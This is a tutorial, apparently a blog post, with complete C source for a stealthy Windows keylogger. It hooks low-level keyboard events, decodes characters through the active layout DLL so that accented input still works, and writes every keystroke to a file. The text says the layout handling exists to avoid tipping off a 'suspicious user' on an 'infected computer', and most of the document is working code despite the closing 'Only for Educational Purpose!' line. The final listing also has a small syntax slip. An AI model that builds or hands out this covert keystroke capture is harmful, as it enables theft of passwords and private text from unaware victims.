Intercepting keystrokes
Hooking Key Events
There are different ways to catch the keys as they are being typed,
but one of the most efficient is to monitor system events for key
events. This is done with a hook, which forces Windows to call your own
functions when a certain type of event happens.
First, let's see how
you can set a hook to catch keyboard events, with SetWindowsHookEx():
=========================================================
hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL,
(HOOKPROC)KeyEvent, GetModuleHandle(NULL), 0);
=========================================================
SetWindowsHookEx() returns a hook handle (HHOOK), which you should
keep in order to unhook at a later time with UnhookWindowsHookEx(). The
first argument is the type of hook you want to set, in this case,
WH_KEYBOARD_LL for low-level keyboard events. The second argument is
the hook procedure which will receive the events, you have to define it
somewhere else in your program. The third argument is a module handle
to the current module. The last argument is the thread ID for which
this hook applies, by setting it to zero you associate the hook
procedure with all running threads.
You should call SetWindowsHookEx() in your main function, and then enter this loop
===========================================================
MSG message;
while(GetMessage(&message, NULL, 0, 0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}
===========================================================
which will receive and dispatch system messages.
Next, you need to define the hook procedure:
================================================================================================
LRESULT WINAPI KeyEvent(int nCode, WPARAM wParam, LPARAM lParam)
{
if( (nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)) )
{
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
printf("%u\t%c\n", (unsigned int)kbdStruct.vkCode, (char)kbdStruct.vkCode);
}
return CallNextHookEx(hKeyHook, nCode, wParam, lParam);
}
================================================================================================
I chose to call it KeyEvent, but you can rename it to whatever you
want, as long as it stays relevant. The function arguments need to stay
as they are, they are not yours to define. wParam is used to identify
the event, while lParam receives information related to that event.
Here, we are interested in catching WM_SYSKEYDOWN and WM_KEYDOWN, which
gives the following line:
================================================================================================
if( (nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)) )
================================================================================================
If this condition is true, then we know a key was pressed. Now we
need to know which key was pressed. To do so, we first need to cast
lParam to a KBDLLHOOKSTRUCT, and then retrieve the structure member
vkCode, which is the virtual key code of the key:
================================================================================================
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
printf("%X\t%c\n", (unsigned int)kbdStruct.vkCode, (char)kbdStruct.vkCode);
================================================================================================
The virtual key code of a key is a number associated with a key on
your keyboard. It is not the character that is shown when you press
that key. The conversion between the virtual key code and the character
is covered later in this tutorial. However, the virtual key codes of
keys with a letter correspond to the same letter, in capitals. At this
stage, just to make sure it works, we can display the virtual key code
(in hexadecimal) along with the same number casted to a character.
KeyEvent() should always return CallNextHookEx(hKeyHook, nCode, wParam, lParam), as it is part of a hook chain.
Here is the complete code for the first example, compile & run it as a console program.
================================================================================================
#include <stdio.h>
#include <windows.h>
HHOOK hKeyHook;
KBDLLHOOKSTRUCT kbdStruct;
LRESULT WINAPI KeyEvent(int nCode, WPARAM wParam, LPARAM lParam)
{
if( (nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)) )
{
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
printf("%X\t%c\n", (unsigned int)kbdStruct.vkCode, (char)kbdStruct.vkCode);
}
return CallNextHookEx(hKeyHook, nCode, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int nCmdShow)
{
hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyEvent, GetModuleHandle(NULL), 0);
MSG message;
while(GetMessage(&message, NULL, 0, 0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}
UnhookWindowsHookEx(hKeyHook);
return 0;
}
================================================================================================
Type "hello", in another window than the keylogger, to ensure that it is working. Here is what you should see:
48 H
45 E
4C L
4C L
4F O
For a complete list of virtual key codes, see this page.
The following MSDN pages may also be useful for a better understanding of the API used:
SetWindowsHookEx()
GetModuleHandle()
Keyboard Notifications (WM_KEYDOWN + WM_SYSKEYDOWN)
KBDLLHOOKSTRUCT Structure
Converting Virtual Key Codes to Characters
ToUnicode()
Virtual key codes need to be converted to their associated
characters, according to the current keyboard layout. Microsoft
provides API for this, which works fine to a certain degree. You can
choose between ToAscii() and ToUnicode() depending on the character
encoding you want to use. For different reasons, I will use ToUnicode
in the following example, but you might as well modify it so that it
uses ToAscii() with very few changes. Change KeyEvent() in the previous
example so that you now have:
`
================================================================================================
BYTE keyState[256];
WCHAR buffer[16];
LRESULT WINAPI KeyEvent(int nCode, WPARAM wParam, LPARAM lParam)
{
if( (nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)) )
{
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
GetKeyboardState((PBYTE)&keyState);
ToUnicode(kbdStruct.vkCode, kbdStruct.scanCode, (PBYTE)&keyState, (LPWSTR)&buffer,
sizeof(buffer) / 2, 0);
printf("%X\t%c\n", buffer[0], buffer[0]);
}
return CallNextHookEx(hKeyHook, nCode, wParam, lParam);
}
================================================================================================
Reference:
ToAscii()
ToUnicode()
GetKeyboardState()
The main difference here is that we send the virtual key
codes to ToUnicode, which then outputs the resulting character in a
buffer. The virtual key code and scan code are members of
KBDLLHOOKSTRUCT, and you only need to pass them to ToUnicode(). The
third argument is a 256 BYTE array that contains the current key states
of all the keyboard. You then need to give a pointer to a buffer that
receives the resulting character(s) and its size. The last argument is
used to set flags, read the MSDN article if you want to use it.
Now, compile and run the latest example, and type "hello!". Here is what you should see:
68 h
65 e
6C l
6C l
6F o
0
31 1
For "hello", everything went fine, the correct characters were
outputted. However, things go wrong when you press shift + 1 in order
to get a '!' sign. The event corresponding to the shift key being
pressed is first caught, with no character output (obviously). Then,
the '1' key is pressed, and '1' is outputted, as if shift was never
pressed. This is only one downside of ToUnicode(), the worse being to
provide no support for dead keys, as mentioned on MSDN:
The parameters supplied to the ToUnicode function might not
be sufficient to translate the virtual-key code because a previous dead
key is stored in the keyboard layout.
I see the question coming: What is a dead key? Dead keys are
used for accented letters, in languages where they are common such as
French or German. For example, instead of having a key for o, u, o with
umlaut (ö), u with umlaut (ü), the German keyboard layout would have a
key for o, u, and one for the umlaut. To type a letter with an umlaut,
one would need to press the umlaut key and then the base letter. When
pressing the umlaut, nothing happens, that's why it is called a dead
key. Even if it outputs nothing, it will affect the next character
being outputted.
Now, why should you care about them, if you use a non-accented
language such as English? There is another problem: ToUnicode() does
not only provide no support for dead keys, it also interferes with them
to the point of not being able to type accented letters anymore. This
is very likely to reveal your presence on an infected computer, and as
the problem affects keyboard input, the first thing the suspicious user
will look for is a keylogger.
For example, if I try to type the French letter 'ê' in notepad while running the keylogger, here is what I get instead:
^^e
Ouch. We need to find a way to convert virtual key codes to
characters, that would use toggle keys, modifier keys, and dead keys.
Unless Microsoft reworks its implementation of ToUnicode(), we have to
make our own improved version. This is going to be way longer than
calling ToUnicode().
Getting current keyboard layout
Keyboard layouts on Windows aren't quite stored the same way as they
do on other operating systems such as Linux. Instead of a nice text
file, Windows use DLLs. Those DLLs are found in %WINDIR%\System32 and
their names begin with "kbd". For instance, the US keyboard layout
would be in C:\Windows\System32\kbdus.dll. In each of those keyboard
layout DLLs, there is a function called KbdLayerDescriptor(). Don't
look for it on MSDN, this function is undocumented. It returns a
structure of data containing all information concerning the keyboard
layout. What you can do, however, is download the Windows Driver
Development Kit, which has few keyboard layout samples written in C
along with a very important header file, kbd.h (that's where all the
structures you will use are declared).
We first need to know where is the DLL of the current keyboard
layout. Each keyboard layout has a name, which is a number used to
identify it. You can retrieve this number with GetKeyboardLayoutName().
For example, the US keyboard layout has the number 00010402. The file
name of the DLL where this keyboard layout is stored is given in
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\<keyboard layout name>
For instance, we read "Layout File" in
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard
Layouts\00010402 to know that the US keyboard layout is in KBDUS.DLL.
Here is a function that does it:
================================================================================================
int getKeyboardLayoutFile(char* layoutFile, DWORD bufferSize)
{
HKEY hKey;
DWORD varType = REG_SZ;
char kbdName[KL_NAMELENGTH];
GetKeyboardLayoutName(kbdName);
char kbdKeyPath[51 + KL_NAMELENGTH];
snprintf(kbdKeyPath, 51 + KL_NAMELENGTH,
"SYSTEM\\CurrentControlSet\\Control\\Keyboard Layouts\\%s", kbdName);
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCTSTR)kbdKeyPath, 0, KEY_QUERY_VALUE, &hKey) != ERROR_SUCCESS)
return -1;
if(RegQueryValueEx(hKey, "Layout File", NULL, &varType, layoutFile, &bufferSize) != ERROR_SUCCESS)
return -1;
RegCloseKey(hKey);
return 1;
}
`
================================================================================================
Windows DDK 2003
GetKeyboardLayoutName()
Language Identifier Constants and Strings
Understanding how the data is structured
Now that we know the file name of the current keyboard layout DLL,
we can load it. But before doing that, we'll take a look at what
KbdLayerDescriptor() returns, a pointer to a KBDTABLES structure. Here
is the definition of this structure, taken from kbd.h. It contains
several other structures and data types defined in kbd.h. The way the
data is stored can be very confusing, so make sure you understand this
part.
================================================================================================
typedef struct tagKbdLayer {
/*
* Modifier keys
*/
PMODIFIERS pCharModifiers;
/*
* Characters
*/
PVK_TO_WCHAR_TABLE pVkToWcharTable; // ptr to tbl of ptrs to tbl
/*
* Diacritics
*/
PDEADKEY pDeadKey;
/*
* Names of Keys
*/
PVSC_LPWSTR pKeyNames;
PVSC_LPWSTR pKeyNamesExt;
WCHAR *KBD_LONG_POINTER *KBD_LONG_POINTER pKeyNamesDead;
/*
* Scan codes to Virtual Keys
*/
USHORT *KBD_LONG_POINTER pusVSCtoVK;
BYTE bMaxVSCtoVK;
PVSC_VK pVSCtoVK_E0; // Scancode has E0 prefix
PVSC_VK pVSCtoVK_E1; // Scancode has E1 prefix
/*
* Locale-specific special processing
*/
DWORD fLocaleFlags;
/*
* Ligatures
*/
BYTE nLgMax;
BYTE cbLgEntry;
PLIGATURE1 pLigature;
/*
* Type and subtype. These are optional.
*/
DWORD dwType; // Keyboard Type
DWORD dwSubType; // Keyboard SubType: may contain OemId
} KBDTABLES, *KBD_LONG_POINTER PKBDTABLES;
In KBDTABLES, there are three member structures that will we use. They are VK_TO_WCHAR_TABLE, MODIFIERS, and DEADKEY.
VK_TO_WCHAR_TABLE, with member structure VK_TO_WCHARS1
typedef struct _VK_TO_WCHAR_TABLE {
PVK_TO_WCHARS1 pVkToWchars;
BYTE nModifications;
BYTE cbSize;
} VK_TO_WCHAR_TABLE, *KBD_LONG_POINTER PVK_TO_WCHAR_TABLE;
#define TYPEDEF_VK_TO_WCHARS(n) typedef struct _VK_TO_WCHARS##n { \
BYTE VirtualKey; \
BYTE Attributes; \
WCHAR wch[n]; \
} VK_TO_WCHARS##n, *KBD_LONG_POINTER PVK_TO_WCHARS##n;
================================================================================================
Here is the tricky part. Each virtual key code can correspond to
different characters, depending on modifier keys. The number of
possible modifications is given by nModifications. For example, the 'A'
key can give 'a' or 'A' depending on Shift and Caps Lock. Caps Lock is
considered separately, as it is a toggle key. When toggled, it will do
as if Shift was pressed, if the virtual key code is defined to be that
way. As the 'A' key can lead to two possible modifier key combinations
(either no modifier key or the Shift key), nModifications will hold 2
and the information will be in a VK_TO_WCHARS2 structure. The
VK_TO_WCHAR_TABLE member pVkToWchars is simply a pointer meant to be
cast to the correct PVK_TO_WCHARS type, according to the number of
possible modifications.
MODIFIERS structure, with member structure VK_TO_BIT
`
================================================================================================
typedef struct {
PVK_TO_BIT pVkToBit; // Virtual Keys -> Mod bits
WORD wMaxModBits; // max Modification bit combination value
BYTE ModNumber[]; // Mod bits -> Modification Number
} MODIFIERS, *KBD_LONG_POINTER PMODIFIERS;
typedef struct {
BYTE Vk;
BYTE ModBits;
} VK_TO_BIT, *KBD_LONG_POINTER PVK_TO_BIT;
DEADKEY structure
typedef struct {
DWORD dwBoth; // diacritic & char
WCHAR wchComposed;
USHORT uFlags;
} DEADKEY, *KBD_LONG_POINTER PDEADKEY;
`================================================================================================ New API
Loading the keyboard layout is quite simple: we load the DLL, call
KbdLayerDescriptor() and then make copies of the pointers we will use
the most. As kbd.h is quite long and that we don't need much in it, I
have copied only the required parts in a new header file kbdext.h. The
new macros are added at the end of the file, and the function
prototypes at the beginning. All new functions are defined in kbdext.c.
This allows us to avoid relying on the Windows DDK. Here is the new API
along with a simple program that uses it. Quickly read it to get a
general idea of how it works. loadKeyboardLayout() uses the file name
returned by getKeyboardLayoutFile() to find the DLL of the current
keyboard layout and then loads it. This step must be done before
calling convertVirtualKeyToWChar() (isn't that obvious?).
`
================================================================================================
//*******************************************************************
// Program: kbdext.c
// Source file: kbdext.h
// Author: Marc-André Moreau
// Last update: September 16th, 2008
// Description: Header File containing function prototypes as well as
// many definitions and macros for extended keyboard function. Some
// parts were taken directly from Microsoft's kbd.h header file that
// is shipped with the Windows Driver Development Kit. It was an
// inconvenient to download and install the whole Windows DDK only
// for kbd.h so I just copied everything that was needed here.
//*******************************************************************
#ifndef _KBD_EXT_
#define _KBD_EXT_
#include <windows.h>
#include <limits.h>
HINSTANCE loadKeyboardLayout();
int unloadKeyboardLayout(HINSTANCE kbdLibrary);
int getKeyboardLayoutFile(char* layoutFile, DWORD bufferSize);
int convertVirtualKeyToWChar(int virtualKey, PWCHAR out, PWCHAR buffer);
#if defined(BUILD_WOW6432)
#define KBD_LONG_POINTER __ptr64
#else
#define KBD_LONG_POINTER
#endif
#define CAPLOK 0x01
#define WCH_NONE 0xF000
#define WCH_DEAD 0xF001
typedef struct {
BYTE Vk;
BYTE ModBits;
} VK_TO_BIT, *KBD_LONG_POINTER PVK_TO_BIT;
typedef struct {
PVK_TO_BIT pVkToBit;
WORD wMaxModBits;
BYTE ModNumber[];
} MODIFIERS, *KBD_LONG_POINTER PMODIFIERS;
typedef struct _VSC_VK {
BYTE Vsc;
USHORT Vk;
} VSC_VK, *KBD_LONG_POINTER PVSC_VK;
typedef struct _VK_VSC {
BYTE Vk;
BYTE Vsc;
} VK_VSC, *KBD_LONG_POINTER PVK_VSC;
#define TYPEDEF_VK_TO_WCHARS(n) typedef struct _VK_TO_WCHARS##n { \
BYTE VirtualKey; \
BYTE Attributes; \
WCHAR wch[n]; \
} VK_TO_WCHARS##n, *KBD_LONG_POINTER PVK_TO_WCHARS##n;
TYPEDEF_VK_TO_WCHARS(1)
TYPEDEF_VK_TO_WCHARS(2)
TYPEDEF_VK_TO_WCHARS(3)
TYPEDEF_VK_TO_WCHARS(4)
TYPEDEF_VK_TO_WCHARS(5)
TYPEDEF_VK_TO_WCHARS(6)
TYPEDEF_VK_TO_WCHARS(7)
TYPEDEF_VK_TO_WCHARS(8)
TYPEDEF_VK_TO_WCHARS(9)
TYPEDEF_VK_TO_WCHARS(10)
typedef struct _VK_TO_WCHAR_TABLE {
PVK_TO_WCHARS1 pVkToWchars;
BYTE nModifications;
BYTE cbSize;
} VK_TO_WCHAR_TABLE, *KBD_LONG_POINTER PVK_TO_WCHAR_TABLE;
typedef struct {
DWORD dwBoth;
WCHAR wchComposed;
USHORT uFlags;
} DEADKEY, *KBD_LONG_POINTER PDEADKEY;
#define TYPEDEF_LIGATURE(n) typedef struct _LIGATURE##n { \
BYTE VirtualKey; \
WORD ModificationNumber; \
WCHAR wch[n]; \
} LIGATURE##n, *KBD_LONG_POINTER PLIGATURE##n;
TYPEDEF_LIGATURE(1)
TYPEDEF_LIGATURE(2)
TYPEDEF_LIGATURE(3)
TYPEDEF_LIGATURE(4)
TYPEDEF_LIGATURE(5)
typedef struct {
BYTE vsc;
WCHAR *KBD_LONG_POINTER pwsz;
} VSC_LPWSTR, *KBD_LONG_POINTER PVSC_LPWSTR;
typedef WCHAR *KBD_LONG_POINTER DEADKEY_LPWSTR;
typedef struct tagKbdLayer {
PMODIFIERS pCharModifiers;
PVK_TO_WCHAR_TABLE pVkToWcharTable;
PDEADKEY pDeadKey;
PVSC_LPWSTR pKeyNames;
PVSC_LPWSTR pKeyNamesExt;
WCHAR *KBD_LONG_POINTER *KBD_LONG_POINTER pKeyNamesDead;
USHORT *KBD_LONG_POINTER pusVSCtoVK;
BYTE bMaxVSCtoVK;
PVSC_VK pVSCtoVK_E0;
PVSC_VK pVSCtoVK_E1;
DWORD fLocaleFlags;
BYTE nLgMax;
BYTE cbLgEntry;
PLIGATURE1 pLigature;
DWORD dwType;
DWORD dwSubType;
} KBDTABLES, *KBD_LONG_POINTER PKBDTABLES;
typedef struct _VK_FUNCTION_PARAM {
BYTE NLSFEProcIndex;
ULONG NLSFEProcParam;
} VK_FPARAM, *KBD_LONG_POINTER PVK_FPARAM;
typedef struct _VK_TO_FUNCTION_TABLE {
BYTE Vk;
BYTE NLSFEProcType;
BYTE NLSFEProcCurrent;
BYTE NLSFEProcSwitch;
VK_FPARAM NLSFEProc[8];
VK_FPARAM NLSFEProcAlt[8];
} VK_F, *KBD_LONG_POINTER PVK_F;
typedef struct tagKbdNlsLayer {
USHORT OEMIdentifier;
USHORT LayoutInformation;
UINT NumOfVkToF;
PVK_F pVkToF;
INT NumOfMouseVKey;
USHORT *KBD_LONG_POINTER pusMouseVKey;
} KBDNLSTABLES, *KBD_LONG_POINTER PKBDNLSTABLES;
// Extended macros
#define INIT_PVK_TO_WCHARS(i, n) \
if((pKbd->pVkToWcharTable[i].cbSize - 2) / 2 == n) \
pVkToWchars##n = (PVK_TO_WCHARS##n)pKbd->pVkToWcharTable[i].pVkToWchars; \
#define SEARCH_VK_IN_CONVERSION_TABLE(n) \
i = 0; \
if(pVkToWchars##n && (mod < n)) \
{ \
do \
{ \
if(pVkToWchars##n[i].VirtualKey == virtualKey) \
{ \
if((pVkToWchars##n[i].Attributes == CAPLOK) && capsLock) { \
if(mod == shift) mod = 0; else mod = shift; } \
*outputChar = pVkToWchars##n[i].wch[mod]; \
charCount = 1; \
if(*outputChar == WCH_NONE) { charCount = 0; } \
else if(*outputChar == WCH_DEAD) \
{ \
*deadChar = pVkToWchars##n[i + 1].wch[mod]; \
charCount = 0; \
} \
break;\
} \
i++; \
} \
while(pVkToWchars##n[i].VirtualKey != 0); \
} \
#endif // _KBD_EXT_
//*******************************************************************
// Program: kbdext.c
// Source files: kbdext.c kbdext.h
// Author: Marc-André Moreau
// Last update: September 18th, 2008
// Description: Replacement API for Microsoft's ToUnicode() function
// You should load the current keyboard layout with loadKeyboardLayout()
// before calling convertVirtualKeyToWChar()
//*******************************************************************
#include "kbdext.h"
typedef PKBDTABLES(CALLBACK* KbdLayerDescriptor)(VOID);
PVK_TO_WCHARS1 pVkToWchars1 = NULL;
PVK_TO_WCHARS2 pVkToWchars2 = NULL;
PVK_TO_WCHARS3 pVkToWchars3 = NULL;
PVK_TO_WCHARS4 pVkToWchars4 = NULL;
PVK_TO_WCHARS5 pVkToWchars5 = NULL;
PVK_TO_WCHARS6 pVkToWchars6 = NULL;
PVK_TO_WCHARS7 pVkToWchars7 = NULL;
PVK_TO_WCHARS8 pVkToWchars8 = NULL;
PVK_TO_WCHARS9 pVkToWchars9 = NULL;
PVK_TO_WCHARS10 pVkToWchars10 = NULL;
PMODIFIERS pCharModifiers;
PDEADKEY pDeadKey;
HINSTANCE loadKeyboardLayout()
{
PKBDTABLES pKbd;
HINSTANCE kbdLibrary;
KbdLayerDescriptor pKbdLayerDescriptor = NULL;
char layoutFile[MAX_PATH];
if(getKeyboardLayoutFile(layoutFile, sizeof(layoutFile)) == -1)
return NULL;
char systemDirectory[MAX_PATH];
GetSystemDirectory(systemDirectory, MAX_PATH);
char kbdLayoutFilePath[MAX_PATH];
snprintf(kbdLayoutFilePath, MAX_PATH, "%s\\%s", systemDirectory, layoutFile);
kbdLibrary = LoadLibrary(kbdLayoutFilePath);
pKbdLayerDescriptor = (KbdLayerDescriptor)GetProcAddress(kbdLibrary,
"KbdLayerDescriptor");
if(pKbdLayerDescriptor != NULL)
pKbd = pKbdLayerDescriptor();
else
return NULL;
int i = 0;
do
{
INIT_PVK_TO_WCHARS(i, 1)
INIT_PVK_TO_WCHARS(i, 2)
INIT_PVK_TO_WCHARS(i, 3)
INIT_PVK_TO_WCHARS(i, 4)
INIT_PVK_TO_WCHARS(i, 5)
INIT_PVK_TO_WCHARS(i, 6)
INIT_PVK_TO_WCHARS(i, 7)
INIT_PVK_TO_WCHARS(i, 8)
INIT_PVK_TO_WCHARS(i, 9)
INIT_PVK_TO_WCHARS(i, 10)
i++;
}
while(pKbd->pVkToWcharTable[i].cbSize != 0);
pCharModifiers = pKbd->pCharModifiers;
pDeadKey = pKbd->pDeadKey;
return kbdLibrary;
}
int unloadKeyboardLayout(HINSTANCE kbdLibrary)
{
if(kbdLibrary != 0)
return (FreeLibrary(kbdLibrary) != 0);
else
return 0;
}
int convertVirtualKeyToWChar(int virtualKey, PWCHAR outputChar, PWCHAR deadChar)
{
int i = 0;
short state = 0;
int shift = -1;
int mod = 0;
int charCount = 0;
WCHAR baseChar;
WCHAR diacritic;
*outputChar = 0;
int capsLock = (GetKeyState(VK_CAPITAL) & 0x1);
do
{
state = GetAsyncKeyState(pCharModifiers->pVkToBit[i].Vk);
if(pCharModifiers->pVkToBit[i].Vk == VK_SHIFT)
shift = i + 1; // Get modification number for Shift key
if(state & ~SHRT_MAX)
{
if(mod == 0)
mod = i + 1;
else
mod = 0; // Two modifiers at the same time!
}
i++;
}
while(pCharModifiers->pVkToBit[i].Vk != 0);
SEARCH_VK_IN_CONVERSION_TABLE(1)
SEARCH_VK_IN_CONVERSION_TABLE(2)
SEARCH_VK_IN_CONVERSION_TABLE(3)
SEARCH_VK_IN_CONVERSION_TABLE(4)
SEARCH_VK_IN_CONVERSION_TABLE(5)
SEARCH_VK_IN_CONVERSION_TABLE(6)
SEARCH_VK_IN_CONVERSION_TABLE(7)
SEARCH_VK_IN_CONVERSION_TABLE(8)
SEARCH_VK_IN_CONVERSION_TABLE(9)
SEARCH_VK_IN_CONVERSION_TABLE(10)
if(*deadChar != 0) // I see dead characters...
{
i = 0;
do
{
baseChar = (WCHAR)pDeadKey[i].dwBoth;
diacritic = (WCHAR)(pDeadKey[i].dwBoth >> 16);
if((baseChar == *outputChar) && (diacritic == *deadChar))
{
*deadChar = 0;
*outputChar = (WCHAR)pDeadKey[i].wchComposed;
}
i++;
}
while(pDeadKey[i].dwBoth != 0);
}
return charCount;
}
int getKeyboardLayoutFile(char* layoutFile, DWORD bufferSize)
{
HKEY hKey;
DWORD varType = REG_SZ;
char kbdName[KL_NAMELENGTH];
GetKeyboardLayoutName(kbdName);
char kbdKeyPath[51 + KL_NAMELENGTH];
snprintf(kbdKeyPath, 51 + KL_NAMELENGTH,
"SYSTEM\\CurrentControlSet\\Control\\Keyboard Layouts\\%s", kbdName);
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCTSTR)kbdKeyPath, 0, KEY_QUERY_VALUE, &hKey) != ERROR_SUCCESS)
return -1;
if(RegQueryValueEx(hKey, "Layout File", NULL, &varType, layoutFile, &bufferSize) != ERROR_SUCCESS)
return -1;
RegCloseKey(hKey);
return 1;
}
//*******************************************************************
// Program: key.c
// Source files: key.c
// Author: Marc-André Moreau
// Last update: September 18th, 2008
// Description: Simple keylogger program for Windows, with support
// for UNICODE, modifier keys and dead characters
//*******************************************************************
#include "kbdext.h"
#include <stdio.h>
#include <windows.h>
int nChar;
FILE* keylog;
WCHAR outputChar;
WCHAR deadChar;
HHOOK hKeyHook;
KBDLLHOOKSTRUCT kbdStruct;
LRESULT WINAPI KeyEvent(int nCode, WPARAM wParam, LPARAM lParam)
{
if( (nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)) )
{
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
nChar = convertVirtualKeyToWChar(kbdStruct.vkCode, (PWCHAR)&outputChar, (PWCHAR)&deadChar);
if(nChar > 0)
{
fwrite(&outputChar, 1, sizeof(WCHAR), keylog);
fflush(keylog);
}
}
return CallNextHookEx(hKeyHook, nCode, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int nCmdShow)
{
keylog = fopen("C:\\keylog.txt", "wb");
deadChar = 0;
HINSTANCE kbdLibrary = loadKeyboardLayout();
hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyEvent, GetModuleHandle(NULL), 0);
MSG message;
while(GetMessage(&message, NULL, 0, 0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}
UnhookWindowsHookEx(hKeyHook);
fclose(keylog);
return 0
}
================================================================================================
Two new variables have been introduced in our simple keylogger
program: outputChar and deadChar, both of type WCHAR. They are used
with convertVirtualKeyToWChar(). The first argument given to
convertVirtualKeyToWChar() is the virtual key code. outputChar is where
the resulting character will be stored. If the resulting character is a
dead character, it will be stored in deadChar instead of outputChar,
and convertVirtualKeyToWChar() will return 0 (no character output). You
have to check that the number returned by convertVirtualKeyToWChar() is
greater than 0, in order to ensure that there is something to output
(the returned value should represent the number of characters
outputted, which will be either 1 or 0 in this case). The same deadChar
variable must be used over and over again, as it influences the next
outputted character. As we assume no dead character was pressed right
before the program is ran (or we simply cannot know), we initialize
deadChar to 0. If deadChar is not initialized, you'll end up using
trash data and outputChar might not be correct.
Now, compile the program as a Windows program (unless you still
want a console window) and run it. This time, we do not output
characters in the console window but in a unicode text file
(C:\keylog.txt, change it to whatever you like). The reason is that the
command prompt does not display unicode characters well. If your
keyboard layout does not use dead characters, change to one that does.
Now, try typing whatever you like, including special characters and
dead characters. In my case, I wrote the following: "!@#{}()êâïçéà"
which did output correctly in the text file. Please not that many non
displayable characters will also be written to the file. For example,
if you catch someone typing and then using backspace a couple of times,
you will see those backspaces and what was written before it was
erased. If you open the file in notepad, the enter key will appear as a
white box, the reason being that even if the enter key corresponds to
the new line character (\n), Notepad uses \r\n line endings. However,
if you open the file with Wordpad, new line characters will be
interpreted as line endings.
The above API was not tested with languages such as Japanese,
Chinese, Korean, or any other language that uses something
significantly different from an alphabet. I would not expect those
languages to work with the current code, but it would not be hard to
add support for it.
Information Source
Only for Educational Purpose!
Post new comment